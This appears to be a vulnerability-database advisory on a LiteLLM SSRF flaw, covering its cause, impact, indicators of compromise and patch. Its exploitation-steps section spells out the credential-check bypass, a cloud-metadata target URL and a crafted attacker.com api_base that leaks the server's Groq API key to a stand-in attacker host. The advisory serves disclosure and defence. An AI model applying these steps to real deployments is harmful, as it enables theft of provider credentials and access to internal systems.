Vulnerability DatabaseCVE-2026-136536

CVE-2026-136536: 
Chainguard vulnerability analysis and mitigation

Overview

CVE-2026-136536 is a Server-Side Request Forgery (SSRF) vulnerability in LiteLLM's is_request_body_safe function that allows authenticated remote attackers to disclose sensitive information. The flaw exists in the handling of the api_base parameter in chat completion requests, where insufficient URI validation enables attackers to trigger server-side requests to arbitrary internal or external resources. It affects LiteLLM version 1.82.3 and was publicly disclosed on November 24, 2026, following a report to the vendor on March 30, 2026. It carries a CVSS v3.0 base score of 6.4 (Medium) (ZDI Advisory, Github Advisory).

Technical details

The vulnerability is classified as CWE-918 (Server-Side Request Forgery) and stems from two compounding flaws in LiteLLM's proxy authentication logic (Github Advisory). First, check_complete_credentials() returned True for any request containing a non-empty api_key, which caused the is_request_body_safe banned-params blocklist to be bypassed entirely — allowing api_base or base_url values pointing to private RFC 1918, loopback, link-local, or cloud-metadata (IMDS) addresses to pass validation. Second, when a caller redirected api_base to an attacker-controlled host, admin-configured provider credentials (e.g., azure_ad_token, AWS/Vertex credentials, organization, extra_headers) were forwarded unchanged to the attacker's server. An additional provider-confusion vector existed via an unanchored substring match (if endpoint in api_base:), allowing a crafted URL like https://attacker.com/api.groq.com/openai/v1 to cause the proxy to read and forward GROQ_API_KEY to the attacker (GitHub PR #26518).

Impact

Successful exploitation allows an authenticated low-privileged attacker to cause the LiteLLM proxy to issue HTTP requests to internal network resources, cloud metadata endpoints (e.g., AWS IMDS at 169.254.169.254), or attacker-controlled servers, disclosing sensitive information in the context of the service account. Beyond basic SSRF, the admin-config leak vector means that provider API keys, Azure AD tokens, AWS session tokens, OCI signing credentials, and observability callback secrets (Langsmith, Langfuse, PostHog, Braintrust, Slack webhooks) could be exfiltrated to an attacker-controlled host. The scope is marked as Changed, indicating that the impact extends beyond the vulnerable LiteLLM component to backend AI provider accounts and internal infrastructure (ZDI Advisory, GitHub PR #26518).

Exploitability

Authentication with low privileges is required to exploit this vulnerability, limiting opportunistic exploitation. No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at the time of disclosure (Github Advisory). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was originally tracked as ZDI-CAN-29838 and discovered by researcher Javohir Abduxalilov (JavaSec.uz), who reported it to the vendor through the Zero Day Initiative program (ZDI Advisory).

Exploitation steps

  1. Obtain authenticated access: Acquire a low-privileged API key or user account on a target LiteLLM proxy instance running version 1.82.3 or earlier.
  2. Craft a malicious chat completion request: Submit a POST request to the LiteLLM chat completions endpoint (e.g., /v1/chat/completions) including both a valid api_key field and a crafted api_base parameter pointing to an internal target, such as http://169.254.169.254/latest/meta-data/ (AWS IMDS) or an internal service.
  3. Bypass the banned-params check: The presence of a non-empty api_key in the request body causes check_complete_credentials() to return True, which historically caused is_request_body_safe to skip the banned-params blocklist, allowing the malicious api_base value to pass validation.
  4. Trigger server-side request: LiteLLM forwards the chat completion request to the attacker-supplied api_base URL, causing the server to make an outbound HTTP request to the internal or attacker-controlled target.
  5. Exfiltrate admin credentials (advanced): If the attacker controls the destination server, they receive the full request including admin-configured provider credentials (API keys, tokens, secrets) that LiteLLM forwards unchanged when api_base is overridden.
  6. Provider confusion attack (alternative): Supply api_base=https://attacker.com/api.groq.com/openai/v1 to exploit the unanchored substring match, causing the proxy to identify the provider as Groq and forward the server's GROQ_API_KEY to the attacker's host (ZDI Advisory, GitHub PR #26518).

Indicators of compromise

  • Network: Outbound HTTP requests from the LiteLLM server to RFC 1918 addresses (10.x.x.x, 172.16-31.x.x, 192.168.x.x), loopback (127.0.0.1), link-local (169.254.x.x), or cloud metadata endpoints (169.254.169.254, metadata.google.internal); unexpected outbound connections to unknown external hosts during chat completion processing.
  • Logs: LiteLLM proxy access logs showing chat completion requests (POST /v1/chat/completions) with api_base parameters containing internal IP addresses, metadata service URLs, or external attacker-controlled domains; requests where api_base contains a known provider domain as a path segment rather than the hostname (e.g., attacker.com/api.groq.com/...).
  • Application Behavior: HTTP 400 errors with messages referencing api_base, base_url, or banned parameter fields after patching (indicating attempted exploitation post-upgrade); unexpected provider API key usage or authentication failures on provider accounts not initiated by legitimate users.

Mitigation and workarounds

LiteLLM has issued a patch via GitHub Pull Request #26518, merged April 30, 2026; operators should update to any LiteLLM version that includes this fix (beyond 1.82.3) (GitHub PR #26518). As a configuration-based mitigation, ensure litellm.user_url_validation is enabled (set to True) so that the SSRF URL guard is enforced at the proxy boundary. Restrict network egress from the LiteLLM service to only required upstream AI provider endpoints, preventing access to internal resources and cloud metadata services. For BYOK (Bring Your Own Key) deployments that previously relied on the implicit api_key bypass, migrate to the explicit admin opt-in paths: general_settings.allow_client_side_credentials = true (proxy-wide) or configurable_clientside_auth_params per deployment (Github Advisory).

Community reactions

The vulnerability was discovered by researcher Javohir Abduxalilov (JavaSec.uz) and disclosed through the Trend Micro Zero Day Initiative program after a coordinated disclosure period of approximately eight months (ZDI Advisory). The GitHub pull request discussion highlights that the fix is backwards-incompatible for existing BYOK deployments, with the Greptile automated reviewer flagging the breaking change and recommending a feature flag migration path before the PR was merged. The fix addresses a cluster of related SSRF and credential-exfiltration issues previously tracked under GHSA-jh89-88fc-qrfp and GHSA-3frq-6r6h-7j64, suggesting a pattern of recurring api_base redirection vulnerabilities in LiteLLM (GitHub PR #26518).

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

RHEL / CentOS

Unknown

Source: This report was generated using AI

Related Chainguard vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-136535HIGH7.2
  • Chainguard logoChainguard
  • cpe:2.3:a:litellm:litellm
NoYesNov 24, 2026
CVE-2026-136538MEDIUM6.5
  • Chainguard logoChainguard
  • cpe:2.3:a:litellm:litellm
NoYesNov 24, 2026
CVE-2026-136537MEDIUM6.5
  • Chainguard logoChainguard
  • litellm
NoYesNov 24, 2026
CVE-2026-136536MEDIUM6.4
  • Chainguard logoChainguard
  • cpe:2.3:a:litellm:litellm
NoYesNov 24, 2026
CVE-2026-136540MEDIUM5.3
  • Chainguard logoChainguard
  • litellm
NoYesNov 24, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management